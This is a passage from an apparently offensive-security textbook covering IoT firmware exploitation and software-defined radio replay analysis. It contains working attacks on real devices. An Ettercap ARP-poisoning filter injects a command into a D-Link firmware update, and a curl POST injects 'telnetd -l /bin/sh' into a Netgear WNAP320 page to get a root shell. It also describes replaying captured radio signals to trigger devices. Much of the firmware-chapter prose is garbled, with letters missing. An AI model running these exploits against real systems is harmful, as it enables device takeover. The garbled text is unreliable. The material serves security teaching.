dea  o ARP-poo e DAP-1320 o a a a o and om e deve goe oug
ou Ka Lnux yem. Aoug we oud ave mpy pu a deve nne beween e
exende and e oue a an owad a ae npeon and modaon, ARP
poong woud be e key aak meanm ued n e ed.
Ettercap
A a quk eee, Adde Reouon Pooo (ARP)  e meanm o eovng
an IP adde o  meda ae ono (MAC) adde. Te MAC adde  a unque
adde agned by e manuaue o e newok deve. Smpy pu, wen a aon
need o ommunae w anoe aon,  ue ARP o deemne e MAC adde
aoaed w e IP o ue. ARP poong eevey poon e ARP abe o e
aon, aung em o ue e aake’ MAC adde nead o e aua MAC
adde o e age aon. Teeoe, a a o a denaon avee oug e
aake’ aon. T eevey pu a deve nne wou u avng o pyay
mody e newok.
Eeap  a oo a aow u o ARP-poo o e pupoe o peomng man-n-
e-mdde (MITM) aak, pang e pake, modyng em, and en owadng
em o e epen. To begn w, we ue Eeap o ee e a beween e
deve and e Inene by ung e oowng ommand (n  exampe, e deve 
192.168.1.173 and e gaeway  192.168.1.1):
$ ettercap –T –q –M arp:remote /192.168.1.173// /192.168.1.1//
One Eeap a aed, we w ue Weak o vew e a a we nea w
e deve. One Weak  aed and e apue a been naed, we an ek
o a mwae updae on e deve’ upgade page, a own nex.
437
Ck e Cek o New Fmwae buon and en oow e TCP eam wn
PART IV
Weak. We now ee a e deve goe o p://wpd.dnk.om.w/oue/
mwae/quey.ap?mode=DAP-1320_Ax_Deau n e  wo ne and a e
epone  XML-enoded daa, a own nex.
438
By gong o e URL we apued, we an ee a e XML onan e FW veon’
majo and mno numbe, e downoad e, and eeae noe.
Amed w  nomaon, we an aume a  we ange e mno numbe
o 12 and e mwae nk o a e ommand, we w oe e deve o aemp o
updae and, onequeny, un ou ommand. In ode o aomp  ak, we need
o eae an Eeap e ➊ (pevouy aved and dpayed ee), ompe  ➋, and
en un  ➌, a oow:
➊$ cat ettercap.filter
if (ip.proto == TCP && tcp.src == 80) {
msg("Processing Minor Response...\n");
if (search(DATA.data, "<Minor>11")) {
replace("<Minor>11", "<Minor>12");
msg("zapped Minor version!\n");
}
if (ip.proto == TCP && tcp.src == 80) {

msg("Processing Firmware Response...\n");
if (search(DATA.data, "http://d"))
{
replace("http://d", "`reboot`");
msg("zapped firmware!\n");
}
}
}
➋$ etterfilter ettercap-reboot.filter -o ettercap-reboot.ef
<output omitted for brevity>
➌$ ettercap -T -q -F ettercap-reboot.ef -M arp:remote
/192.168.1.173// /192.168.1.1//
<output omitted for brevity>
439
In ode o deemne  ou ommand  geng exeued, we need o png e box
and mono e png meage a we ue an upgade. Bu , noe a ae kng
e Cek o New Fmwae buon, we now ee a ee  a 1.12 veon avaabe
o downoad.
PART IV
Po o kng e Upgade Fmwae buon, we need o e up ou png o mono
e deve. Wen we k e Upgade Fmwae buon, we oud ee e oowng
downoad poge box:
$ ping 192.168.1.173
64 bytes from 192.168.1.173: icmp_seq=56 ttl=64 time=2.07 ms
440
➊From 192.168.1.173 icmp_seq=110 Destination Host Unreachable
From 192.168.1.173 icmp_seq=111 Destination Host Unreachable
➋64 bytes from 192.168.1.173: icmp_seq=122 ttl=64 time=1262 ms
64 bytes from 192.168.1.173: icmp_seq=123 ttl=64 time=239 ms
You w noe a e o beome noneponve ➊ and ae ome bak onne ➋.
T ndae a e box wa ebooed. A  pon, we’ve poven a we an nje
a ommand no e upgade URL and e deve w exeue . Wou upoadng
an exeuabe o e deve, you ae med by wa  on e deve. Fo exampe, a
pevouy expaned,  ened  omped no e BuyBox (  no on  yem),
you an ju a  o ae e e wou a pawod, a oow:
telnetd –l /bin/sh
T appoa  demonaed n e nex eon. I needed, you oud o-ompe
a bnay u a nea o  poeo and en upoad  va p o p, a Cag
Hene a demonaed,2 o you oud ue anoe meod.
Dynamic Analysis with Emulation

I un ou, n ome ae, no o be neeay o ave adwae n and o peom
vuneaby anay and expo mwae.
FirmAE
Te FmAE3 oo exend e apaby o FIRMADYNE4 o aow o e emuaon
o moe mwae by ung vaou abaon o eve and e QEMU ypevo.
Te ou o e abaon  o aow e unnng o web eve, a a  a ommon
aak veo. Te beauy o  appoa  a you do no ave o buy e adwae
o e e mwae. T poweu appoa aow o aed eng n paae. Te
auo o FmAE ad a ue ae o 79.36 peen on 1,124 deve and ound 12
new 0-day,5 w  no bad a a. In e oowng ab, we w e up and exeue
FmAE.
Lab 21-3: Setting Up FirmAE
I you wan o oow aong n  ab, we w be ung Ka 2021-1, unnng n VMwae
o VuaBox, w NAT newok eng. F, we need o e up e FmAE oo by
ung e nuon ound on e FmAE GHub (ee e “Fo Fue Readng”
441
eon a e end o  ape). Te na ep ae daay mped ove
FIRMADYNE and ony eque ee pakage, bud-eena, ene, and g, o be
naed oude o e na poe. Te na ao ee on e a a e bnwak
naaon om Lab 21-1 wa ompeed. Te na poe  own ee:
$ sudo apt-get install build-essential git telnet
<output skipped throughout this lab for brevity>
$ git clone --recursive https://github.com/pr0v3rbs/FirmAE
$ cd FirmAE
$ ./download.sh
Downloading binaries...
$ ./install.sh
$ ./init.sh
+ sudo service postgresql restart
+ echo 'Waiting for DB to start...'
Waiting for DB to start...
+ sleep 5
Lab 21-4: Emulating Firmware
PART IV
Now a you ave e up e envonmen, you may emuae ampe mwae (agan, a
debed on e FmAE GHub).
F, ung e un. p, ek e mwae povded on e GHub o 
ab. T ep w exa e mage, ge e aeue, ne e newok ong, and
aoae an ID n e daabae o e anay ( may ake a we, o be paen):
$ sudo -E ./run.sh -c netgear WNAP320_Firmware_Version_2.0.3.zip
[*] WNAP320_Firmware_Version_2.0.3.zip emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.44.1 (24-Mar-2018)
e2fsck 1.44.1 (24-Mar-2018)
[*] infer network start!!!
[IID] 3
[MODE] check
[+] Network reachable on 192.168.0.100!
[+] Web service on 192.168.0.100
[*] cleanup
======================================
Now a you know wa e IP , un e emuao w debuggng enabed o you
an nea w e e o un gdb. In ou ae, we mpy wan o ae e e ➊ and
ee wa  avaabe n BuyBox ➋. Fom e oupu o BuyBox, we ee a ened ➌ 
avaabe  we an exeue pogam va ommand njeon:
$ sudo -E ./run.sh -d netgear WNAP320_Firmware_Version_2.0.3.zip
[*] WNAP320_Firmware_Version_2.0.3.zip emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
[*] WNAP320_Firmware_Version_2.0.3.zip already succeed emulation!!!
442
[IID] 3
[MODE] debug
[+] Network reachable on 192.168.0.100!
[+] Web service on 192.168.0.100
[+] Run debug!
Creating TAP device tap3_0...
Set 'tap3_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... 192.168.0.100 true true 17.363515215
18.767963507
[*] firmware - WNAP320_Firmware_Version_2.0.3
[*] IP - 192.168.0.100
[*] connecting to netcat (192.168.0.100:31337)
[+] netcat connected
------------------------------
| FirmAE Debugger |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
➊> 2
Trying 192.168.0.100...
Connected to 192.168.0.100.
Escape character is '^]'.
/ # cd bin
➋/bin # busybox
BusyBox v1.11.0 (2011-06-23 15:54:48 IST) multi-call binary
Copyright (C) 1998-2008 Erik Andersen, Rob Landley, Denys Vlasenko
and others. Licensed under GPLv2.
See source distribution for full notice.
Usage: busybox [function] [arguments]...

or: function [arguments]...
BusyBox is a multi-call binary that combines many common Unix

utilities into a single executable. Most people will create a
link to busybox for each function they wish to use and BusyBox
will act like whatever it was invoked as!
Currently defined functions:

[, [[, addgroup, adduser, ar, arp, arping, ash, awk, basename, bunzip2,
bzcat, bzip2, cat, catv, chgrp, chmod, chown, chroot, cksum, clear, cmp, cp,
crond, crontab, cut, date, dd,
delgroup, df, diff, dirname, dmesg, dos2unix, du, dumpleases, echo, egrep,
env, expr, false, fgrep, find, fold, free, freeramdisk, ftpget, ftpput, fuser,
getopt, getty, grep, gunzip,
gzip, halt, head, hexdump, hostname, id, ifconfig, ifdown, ifup, inetd,
init, insmod, ip, ipcrm, ipcs, kill, killall, killall5, klogd, last, length, less,
linuxrc, ln, logger, login,
logname, logread, losetup, ls, lsmod, md5sum, mesg, mkdir, mkfifo, mknod,
mktemp, modprobe, more, mount, mountpoint, mv, nice, nmeter, nohup, od, passwd,
pgrep, pidof, ping, pipe_progress,
pivot_root, poweroff, printenv, printf, ps, pwd, readlink, readprofile,
reboot, renice, reset, resize, rm, rmdir, rmmod, route, runlevel, sed, seq,
setsid, sh, sha1sum, sleep, sort,
443
start-stop-daemon, stat, strings, su, sulogin, switch_root, sync, sysctl,
syslogd, tail, tar, tee, telnet, ➌telnetd, test, tftp, time, top, touch, true,
tty, udhcpc, udhcpd, umount,
uname, uniq, unix2dos, uptime, usleep, vconfig, vi, watch, wc, wget,
which, who, whoami, xargs, yes, zcat
I a any me you me up e peedng ommand and wan o ee e daabae
and envonmen, mpy un e oowng ommand:
$ psql -d postgres -U firmadyne -h 127.0.0.1 \
> -q -c 'DROP DATABASE "firmware"'
Password for user firmadyne:
$ sudo -u postgres createdb -O firmadyne firmware
$ sudo -u postgres psql -d firmware \
> < ./database/schema
$ sudo rm -rf ./images/*.tar.gz
$ sudo rm -rf scratch/
A  pon, e mwae oud be unnng on e peedng IP a a ap deve. You
oud ao be abe o onne o  vua neae om e mane on w you
ae unnng QEMU. Fom wn e VM, open a web bowe and y o onne o
e need IP, a own nex. You may need o wa a mnue o e web eve o uy
a ae e emuao aune e mwae.
PART IV
444
Te edena ae admn/pawod, w an be ound onne. And ju ke a,
we ae ogged n o an emuaed oue, a own ee.
Lab 21-5: Exploiting Firmware
So a we ave emuaed e Negea WNAP320 mwae n QEMU. Now   me
o do wa we ame o: expo e mwae. Domn Cen6 and  eam ound a
ommand njeon vuneaby n  mwae, unnng n FIRMADYNE. Le’ e
 w FmAE and ee   an be expoed:
$ nmap 192.168.0.100
Starting Nmap 7.01 ( https://nmap.org ) at 2017-12-10 21:54 EST

Nmap scan report for 192.168.0.100
Host is up (0.0055s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 1.30 seconds

445
➊$ curl -L --max-redir 0 -m 5 -s -f -X POST \
> -d "macAddress=000000000000;telnetd -l /bin/sh;&reginfo=1&writeData=Submit" \
http://192.168.0.100/boardDataWW.php
<html>
<head>
<title>Netgear</title>
<style>
$ nmap 192.168.0.100
Starting Nmap 7.01 ( https://nmap.org ) at 2017-12-10 22:00 EST

PORT STATE SERVICE
22/tcp open ssh
➋23/tcp open telnet
80/tcp open http
443/tcp open https

$ telnet 192.168.0.100
Trying 192.168.0.100...
Connected to 192.168.0.100.
Escape character is '^]'.
/home/www # ls
PART IV
BackupConfig.php boardDataWW.php checkSession.php data.php
header.php index.php login_header.php packetCapture.php
saveTable.php test.php tmpl
/home/www # id
➌uid=0(root) gid=0(root)
/home/www #
Fom e pevou oupu, you oud noe a we ave njeed a ommand o
a e ene eve ➊. Te telnetd –l /bin/sh agumen a e ene eve on e
deau po and bnd  o e “/bn/” e. Te nmap an ow a po 23 
now open ➋. Ae onneng o ene, you w noe a e ue  oo ➌. Aoug
 a been done on emuaed mwae, e ame an be aomped on e aua
mwae. A  pon, e aake a oo ae on e deve and an poenay ue
e deve a a aunng pon o oe aak on e newok.
Summary
T ape demonaed vuneaby anay, bo om a a pon o vew and
a dynam pon o vew. I ao demonaed expong a ommand-njeon aak
bo om a dynam pon o vew and an emuaed pon o vew. In e ae ae,
you eaned a vuneabe an be doveed and poo-o-onep expo an be
deveoped wou even puang e adwae equpmen. Ou ope  a, ung
ee enque, ea ake w nd euy vuneabe n embedded deve
and doe em n an ea manne, u makng u a moe eue.
446
For Further Reading
ARP spoofing en.wkpeda.og/wk/ARP_poong
BusyBox buybox.ne
Craig Heffner’s Binwalk gub.om/ReFmLab/bnwak
Craig Heffner’s blog (creator of binwalk) www.devy0.om/bog/
Ettercap eeap.gub.o/Eeap
FirmAE gub.om/p0v3b/FmAE
“FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic
Analysis” www.aa.og/2020/e/web/6a-4_mae-de.pd
Firmadyne GitHub gub.om/madyne/madyne
Ghidra gda-e.og/
References
1. Bue Snee, “Seuy Rk o Embedded Syem,” Schneier on Security,
Januay 9, 2014, p://www.nee.om/bog/ave/2014/01/euy_
k_9.m.
2. Cag Hene, “Hakng e Lnky WMB54G, Ung p o Upoad a Bnay,”
/DEV/TTYS0, Juy 12, 2012, www.devy0.om/2012/07/akng-e-nky-
wmb54g/.
3. Mngeun Km, Dongkwan Km, Eunoo Km, Suyeon Km, Yeongn Km, and
Yongdae Km, p://gub.om/p0v3b/FmAE.
4. Domn Cen, FIRMADYNE, p://gub.om/madyne/madyne.
5. Km, op. .
6. Domn Cen, “D-Lnk/Negea FIRMADYNE Command Injeon/
Bue Oveow,” Pake Som, Febuay 26, 2016, CVE 2016-1555,
p://pakeomeuy.om/e/135956/D-Lnk-Negea-FIRMADYNE-
Command-Injeon-Bue-Oveow.m.
Software-Defined Radio
CHAPTER
22
• Getting started with software-defined radio (SDR)
• A step-by-step process (SCRAPE) for analyzing simple RF devices
Wireless devices are found in all aspects of our lives. Although these devices afford us
greater freedom by eliminating wires, they also open proximity and remote attack surfaces.
For example, a sensor that is hard-wired and not exposed to the public is far more difficult
to access than a wireless sensor that has a range exceeding the perimeter of the building.
Of course, simply having access to the wireless signal does not guarantee that nefarious
activities can be accomplished, but it certainly opens a door.
Radio frequency (RF) hacking is far too complicated of a subject to adequately
cover in a single chapter. Our goal is to use a simple device to introduce you to afford-
able software-defined radio (SDR), open source software for SDR, and a process to
evaluate and test products that utilize custom or semi-custom wireless protocols for
communications.
Getting Started with SDR

SDR is a radio that is implemented using modifiable software components to process raw
data instead of relying solely on application-specific RF hardware and digital signal pro-
cessors. SDR uses the resources of a general-purpose processor, such as a computer run-
ning Linux, to provide the signal processing, along with general-purpose RF hardware
to capture and transmit data. Advantages of SDR include the ability to process a wide
variety of signals and frequencies within a single (and potentially remotely updateable)
firmware package. Additionally, SDR provides the developer/researcher flexibility when
prototyping new systems.
What to Buy
Now that you have an idea of what SDR is, it is time to find your new toy. Some
examples of SDR are HackRF, bladeRF, and USRP. Each of these uses a USB port on the
computer and may be used with open source software such as GNU Radio. Table 22-1
provides a quick comparison of these three devices.
447
448
HackRF bladeRF 2.0 micro xA4 USRP B200
Operating 1 MHz to 6 GHz 47 MHz to 6 GHz 70 MHz to 6 GHz
frequency
Bandwidth 20 MHz (6 GHz) 56 MHz 56 MHz
Duplex Half Full Full
Bus USB 2 USB 3 USB 3
ADC resolution 8 bit 12 bit 12 bit
Samples per 20 MSps 61 MSps 61 MSps
second (million samples
per second)
Approximate cost $340 $480 $900
Table 22-1 Comparison of Affordable SDR
The operating frequency determines what frequencies the radio can tune to. For
example, Bluetooth operates between 2.4 GHz and 2.48 GHz over 40 to 80 channels,
depending on the version. FM radio operates between 87.8 MHz and 108 MHz over
101 channels. Add-ons, such as the Ham It Up Nano, are available to effectively lower
their lower limits.
The bandwidth is the amount of the RF spectrum that can be scanned by the appli-
cation/device. The listed bandwidths are published on the respective websites, but
may differ depending on the firmware loaded. For example, HackRF firmware version
2017.02.01 or later supports a sweep mode that allows the device to sweep over the full
6 GHz range. One potential benefit of the increased bandwidth is the ability to monitor
all channels of Bluetooth simultaneously (80 MHz).
Duplex refers to how two systems can communicate with one another. Full duplex
means that the device can both transmit and receive simultaneously. Half duplex, as you
have no doubt guessed, means that the device can transmit and receive data, but not at
the same time. Examples of half-duplex communications are walkie-talkies and many
computer Voice over IP (VoIP) applications. When both parties attempt to speak at the
same time, collisions occur and data is lost. Although full duplex is more flexible, the
duplex of SDR will likely not hinder the effectiveness of the analysis.
Analog-to-digital conversion (ADC) resolution refers to the number of distinct voltage
values each sample can take on. For example, an 8-bit ADC with a voltage range of 4V
has a resolution of 15.6 mV, or 0.39 percent. In combination with the sampling rate,
more bits of ADC resolution result in a more accurate digital representation of the
analog signal.
The published samples per second rates are dependent on the USB throughput, the
CPU, the ADC converter, and the size per sample. For example, the USRP B200 value
of 61 MSps is based on using 16-bit quadrature samples; however, the system can be con-
figured to use 8-bit quadrature samples, which effectively doubles the samples per second
throughput. The lower supported HackRF sample per second value is both a result of the
ADC chosen and the USB throughput.
Chapter 22: Software-Defined Radio
449
In addition to purchasing an SDR, you will likely need to purchase several cables,
dummy loads, attenuators, and antennas with differing frequency ranges. For testing
devices in your lab, directional antennas come in handy to help isolate the sources.
Finally, although not necessary, a simple isolation chamber (or box) can be extremely
useful when dealing with common frequencies such as 2.4 GHz. Each of the SDRs listed
in Table 22-1 has an SMA (Subminiature version A) female connector on the board for
connecting cables, attenuators, and antennas.
Not So Quick: Know the Rules

When you consider the number of wireless devices we are surrounded by—radios, tele-
phones, satellite, Wi-Fi, and so on—it stands to reason that a governing body controls
the air. Two such governing bodies are the Federal Communications Commission (FCC)
and the International Telecommunication Union (ITU). In the US, the FCC regulates
the RF spectrum, and you must be licensed to transmit on much of the RF spectrum
with an unlicensed device such as an SDR. To become licensed to operate a radio, you
must take an exam to demonstrate your knowledge of the rules and regulations. Visit
www.arrl.org to learn more about licensing and the rules for operating a radio legally.
PART IV
Learn by Example
Now that you’ve been introduced to SDR, we’ll go through the process of assessing a
new device so that you can learn how to use an SDR and the associated software. For the
remainder of this chapter, we will be using an Ubuntu system with the HackRF SDR
and GNU Radio tools to evaluate an indoor wireless power outlet device. There’s nothing
special about this device choice, other than it was in my current inventory and is simple
enough to cover within a single chapter. HackRF was chosen because of its combination
of features, price, and ease of access. The software used throughout the chapter should
work with any of the affordable SDR platforms.
The general process we will follow in this chapter is known as SCRAPE, which stands
for Search, Capture, Replay, Analyze, Preview, and Execute.
NOTE Because the devices have to be purchased and the versions of the
outlets/remotes are not guaranteed when you purchase them, this section
does not contain a lab. In the event that you have the hardware or want
to simulate the work, the GNU Radio flow graphs, installation instructions,
capture files, and source code can be found on the book’s download site.
Search
During the Search phase of the SCRAPE process, we aim to find out as much as possible
about the radio’s characteristics without having to use any specialized equipment.
You already know that the FCC regulates the radio spectrum, but you might not
know that most devices that transmit must be certified by the FCC to ensure they oper-
ate within the rules established. When the product or module is certified, an FCC ID is
450
Figure 22-1
Picture of the
remote
issued and must be visible on the product or module. This FCC ID is going to be our
search key for researching the RF characteristics.
The device we are going to look at is the Prime Indoor Wireless Power Outlet remote
(see Figure 22-1). It is not required that you purchase this device in order to follow along
in the chapter. The remote’s FCC ID is QJX-TXTNRC. The ID can be found on a label
on the exterior of the product. An FCC Equipment Authorization Search fails to find the
report for this device unless you use “-TXTNRC” for the product code. In order to get
around issues like this, I simply use Google for the search, like so:
www.google.com/search?q=fcc+QJX-TXTNRC
The website fccid.io typically shows up among the top hits. In our case, the top link was
https://fccid.io/QJX-TXTNRC.
At fccid.io, we find several linked documents and reports that tell us the operating
frequency range for this device is 315.0 MHz to 315.0 MHz (or simply 315.0 MHz).
These reports contain operating frequencies, sample waveforms that indicate the type
of transmission, time measurements that indicate the packet length, and various pulse
widths. We will use the operating frequency range as our starting point and leave the
remainder of the test report as a sanity check after we complete the testing.
Capture
Armed with the operating frequency, we have enough information to begin experiment-
ing with SDR and the device under test (DUT). At this point, we need to have the
SDR (HackRF) and the software (gnuradio and HackRF tools) installed and an antenna
capable of receiving 315 MHz (ANT500 75 MHz to 1 GHz). Although we will not go
through the install process directly, I do recommend using PyBOMBS and installing the
tools to your home directory using the prefix argument to PyBOMBS. By installing it to
451
your home directory, you will have the ability to experiment with several configurations
and more easily recover from any future update issues. On the book’s download site, you
can find a README.txt file with instructions for installing the tools, the flow graphs
referenced throughout the chapter for use in GNU Radio Companion, and capture files
to use for analysis in the event you don’t have the device being referenced.
GNU Radio Companion (launched by running gnuradio_companion) is a GUI tool
that allows the user to create a software radio by chaining one or many signal-processing
blocks together. The tool generates Python code under the covers and allows the user to
define variables and use Python statements within the GUI. To capture the signal for
future analysis, refer to the flow graph represented in Figure 22-2. I encourage you to
browse the block panel tree and become familiar with the available blocks. However, for
the time being, refer to Table 22-2 for descriptions of the blocks used within the flow
graph. To minimize the amount of transmissions required, a file sink is used to write the
data for both replay and offline analysis.
NOTE The sample rate and channel frequency must be noted because they
will be necessary when using offline tools and replay attacks.
PART IV
Figure 22-2 Capture flow graph: remote_analysis.grc

452
Name Purpose Parameters of Interest
Options Provides the overall ID: The name of the Python code that is generated.
flow graph options Generate Options: The GUI framework to use
(QT by default). You may only use the blocks that
correspond to this decision (QT or Wx).
Osmocom Provides a receiver Sample Rate: The number of samples per second.
Source to interface with the Ch0: Frequency: The carrier frequency to tune to
hardware (316 MHz is used in order to account for DC offset).
Ch0: RF Gain: Typically, this should be zero unless
you have a specific reason.
File Sink Specifies that the File: The filename for the captured samples.
samples are to be
written to a file
QT GUI Plots the received Center Frequency: The frequency in the middle
Frequency Sink signal in terms of the graph (should be set to Ch0 Frequency).
of frequency and Bandwidth: Set to Sample Rate.
amplitude
Variable Provides variables to The value can be any legal Python statement.
use for common values An example would be int(400/27).
such as Sample Rate
Table 22-2 Description of GNU Radio Blocks Needed for Capture
During the Capture phase, I attempted to capture a file for each known stimulus.
With our DUT, the known stimuli are pushing the on/off button for each receptacle.
Additionally, to aid in our understanding of the device’s protocol, two remotes are used
for comparison. At this point, based on our understanding from the test report, we
should see a spike at or around 315 MHz, as shown in Figure 22-3. You will also notice
that a spike occurs at 316 MHz; this is an artifact of the test equipment (DC offset) and
is not of concern for our testing. The DC offset shows up at the center frequency and is
the reason we tuned the receiver to 316 MHz to move it out of the way. At this point, we
have enough data captured to move on to the next phase, Replay.
Replay
Now that we have captured signals, it is time to attempt to replay the data. Although the
inability to successfully replay the data does not necessarily mean that we failed to capture
the data correctly, the ability to successfully replay the data does indicate a potential com-
munication flaw. For systems where security is of concern, antireplay mitigations should
be in place to prevent unauthorized access. The general use case of a device like this is to
simply turn on or off a light, fan, or some other simple device. Therefore, I would suspect
that replay attacks are likely not mitigated. The main goal of the replay attack is to suc-
cessfully exercise the device with minimal understanding of the actual protocol.
The flow graph of the Replay phase will look like the Capture phase, with the exception
that we now use a file as the source and an osmocom as the sink. We have to reuse the
same sample rate and frequency in order for the signal to be reproduced as it was received.
453
Figure 22-3
Captured signal
PART IV
Additionally, Multiply Const, QT GUI Time Sink, and Throttle blocks have been added
to the graph in Figure 22-4 to facilitate adjustments that may be required. Throttle is
added to keep the CPU utilization down if we do not have an external sink to effectively
rate-limit the data. Essentially, if the osmocom sink is disabled and the throttle is missing,
the data being read from the file is not rate-limited and CPU utilization may be high.
NOTE Make sure to use the Kill (f7) function to close the running flow
graph in order to allow the SDR to clean up properly. I have found that on
occasion, the transmitter does not stop transmitting, even when the Kill
function is used, so be careful not to continue transmitting after you are
done. Unfortunately, without a secondary SDR to monitor the transmission,
it is difficult to determine if there is continuous transmission. A reset of the
device can be used to ensure that transmission has stopped.
When the flow graph was originally run with a multiplier constant of 1, the power
outlet did not turn on. From the frequency plot in Figure 22-5, it looks like we are at least
transmitting on the correct frequency, so something else must be impeding our progress.
Because we are in the Replay phase and are not trying to completely reverse-engineer the
protocol at this time, we have a few more knobs that can be turned. The time plot shows
the signal in the time domain, with time on the X axis and amplitude on the Y axis.
454
Figure 22-4 Replay flow graph: remote_analysis_replay.grc
The transmitted signal’s amplitude in Figure 22-5 ranges from –0.2 to 0.2, which is likely
not enough power for the outlet’s receiver. In this case, we can simply change the multi-
plier constant to 4 and play it again (already reflected in the flow graph in Figure 22-4).
In many cases, the ability to successfully replay is “game over.” For example, if a door
access control device does not have replay mitigations, an attacker could acquire a sample
and gain unauthorized access. Now that we have successfully replayed the captured sig-
nal, we can move to the Analyze phase.
Analyze
Up until now, we have proven that we can capture and replay the signal, but we really
don’t know what is being transmitted. During this phase, we will attempt to learn how
the device differentiates between different button pushes and whether it is intelligent
enough to exclude other remotes. To accomplish both of those tasks, we must learn how
the data is encoded. Although we could use the gnuradio_companion to do the analysis,
we are going to use another tool that makes the task a bit easier: inspectrum.
455
PART IV
Figure 22-5 Time and frequency plots

456
Figure 22-6 Time plot illustrating on-off keying
Inspectrum (https://github.com/miek/inspectrum) is an offline radio signal analyzer

that works on captured radio signals. At the time of this writing, the version of inspectrum
installed by apt in Ubuntu lags the latest version and does not include some extremely
useful features. I recommend building it from GitHub. In order to build inspectrum
from source, you will also need to install liquid-dsp. On a base install of Ubuntu, inspec-
trum can be installed with the commands located in the Analyze directory’s README
.txt file from the book’s download site.
To transmit data between stations, a carrier signal is modulated with the data to be
transmitted. The carrier signal, or frequency, is known by both parties and “carries”
the data. On-off keying is a simple amplitude modulation method that results in the
presence or absence of the carrier frequency to convey information (see Figure 22-6).
A simple form of on-off keying may only have pulses of one duration, where the presence
of the pulse is a 1 and the absence of a pulse for that duration is a 0. A slightly more com-
plicated form could use a long pulse as a 1 and a short pulse for a 0. The smallest amount
of time for a transition from some amplitude to no amplitude is called the symbol period.
With inspectrum installed, we simply run it and make the adjustments necessary
for our samples in the GUI. If you do not have the device, you can use the capture
files included in the Capture directory from the book’s download site to follow along.
In Figure 22-7, you will notice that we have opened the capture for turning outlet 1
on (remote1-1on-4m-316mhz) and set the sample rate to 4000000 (the rate at which
we captured the signal). The horizontal axis is time, and the vertical axis is frequency.
457
Figure 22-7 Inspectrum diagram
PART IV
The color of the information displayed onscreen can be thought of as intensity and can
be adjusted by moving the Power Max and Min sliders. Adjust the Power Max and Min
sliders such that you see more distinct edges in this case. The –1 MHz on the verti-
cal scale refers to 316 MHz to 1 MHz (or 315 MHz). Furthermore, if you follow the
diagram horizontally from there, you will see a bunch of dashes of differing sizes with a
space between them. The dashes at our operating frequency look like Morse code and are
indicative of a form of on-off keying.
To decode the data, we need to calculate the symbol period and translate the sym-
bols of a single packet. Fortunately, inspectrum provides several tools to measure the
signal and capture the symbol data. The cursor function provides a means to graphically
partition the diagram into symbols of a specified length. Additionally, hidden on the
middle mouse button is the ability to add an amplitude plot and extract symbols. In
Figure 22-8, you see the addition of the cursor at a symbol period of 272μs and eight
periods overlaid on the signal. To determine the symbol period, align the front edge of
the cursor at the beginning of the smallest symbol and scale the cursor to align at the
end of the same symbol. Then simply move the region to align at the start of all symbols
and increase the number of symbols. The original symbol period will not be precise,
but it should be in the ballpark. The main idea is to ensure that the edges of all symbols
align with an edge of a period. Even with such a simple plot, several pieces of important
information are conveyed:
• The smallest duration pulse is 272μs.

• The longest duration pulse is three times the smallest duration pulse.
• Four 272μs symbol periods occur between the beginning of one pulse and the
beginning of the next pulse.
458
Figure 22-8 Measuring the symbols
Now that we have what appears to be the symbol period, we should increase the num-
ber of symbols and see if we continue to line up with the edges of the dashes throughout
the entire packet of data. Simply zoom out on the diagram and see where the last pulse
aligns. In our case, we were slightly off, and I needed to stretch the period slightly such
that the symbol period is 275μs instead of 272μs. This is not unexpected, considering
that any errors in the initial measurement are multiplied by 100 in this case.
With the symbol rate and period confirmed, we can now extract the symbols and
translate them into binary data. To accomplish this, we use the amplitude plot from the
middle mouse. When the amplitude plot is added, a new bracket is added to the spectrum
graph with three horizontal lines. The bracket must be aligned (centered) on the symbol
data to get an amplitude plot of the symbol data on the newly added amplitude plot. In
this case, when the brackets are centered over the symbol data and the Power Max/Min
settings are reasonable, the plot begins to look like a square wave (see Figure 22-9). Once
the square wave looks like a square wave, we use the middle mouse once again to extract
the symbols to standard output (stdout). The extracted values are then printed out on the
command line where inspectrum was invoked (see Figure 22-10). At this point, we’ll
move into a little Python programming to translate the amplitude vector into a binary
vector for further processing.
The symbols that have been extracted are between –1 and 17, so we need to convert
them to binary data for easier processing. A reasonable method of conversion is to pick
a threshold value where anything greater than the threshold is a binary 1 and anything
lower is a binary 0. The upcoming decode-inspectrum.py script allows the user to select
a threshold based on the values extracted from inspectrum.
459
PART IV
Figure 22-9 Amplitude plot
Figure 22-10 Extracted symbols

460
NOTE The actual minimum and maximum values will vary depending
on the Power Min/Max settings. I’ve added thresh (for threshold) to the
decode function to allow you to account for different values.
GH6 > ❶ipython3

Python 3.8.10 (default, Jun 2 2021, 10:49:15)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.13.0 -- An enhanced Interactive Python. Type '?' for help.
In [1]: ❷load decode-inspectrum.py
In [2]: #!/usr/bin/env python
import bitstring
from bitstring import BitArray, BitStream
def decode(pfx,thresh,symbols):
s y mb o l S t r i n g = ' '
f o r i i n s y mb o l s :
i f i >t h r e s h :
s y mb o l S t r i n g + = ' 1 '
el se:
s y mb o l S t r i n g + = ' 0 '
h e x S y mb o l s = Bi t Ar r a y ( ' 0 b ' + s y mb o l S t r i n g )
c o n v e r t e d S y mb o l s = h e x S y mb o l s . h e x . r e p l a c e ( ' e ' , ' 1 ' ) . r e p l a c e ( ' 8 ' , ' 0 ' )
p r i n t ( " { 0 : < 1 2 s } { 1 } " . f o r ma t ( p f x , h e x S y mb o l s ) )
p r i n t ( " { 0 : < 1 2 s } { 1 } " . f o r ma t ( p f x , Bi t Ar r a y ( ' 0 b ' + c o n v e r t e d S y mb o l s [ : - 1 ] ) ) )
p r i n t ( s y mb o l S t r i n g )
In [3]: ❸tmp= 16.8144, 16.9547, 16.5725, -0.999272, 17.3654, -0.996848, -0.999571, -0.993058,
17.4464, -0.996842, -0.997412, -0.998701, 16.4391, 16.539, 16.8396, -0.99971, 17.4098, -0.998961,
-0.999215, -0.999266, 17.6255, -0.997948, -0.999665, -0.997095, 16.7962, -0.998431, -0.999317,
-0.997847, 16.9901, 16.8522, 16.5621, -0.997813, 17.4498, 16.2673, 17.0281, -0.99554, 17.5745,
16.7143, 17.0249, -0.999877, 16.2243, -0.999978, -0.997165, -0.998568, 16.7289, 17.4944, 17.4021,
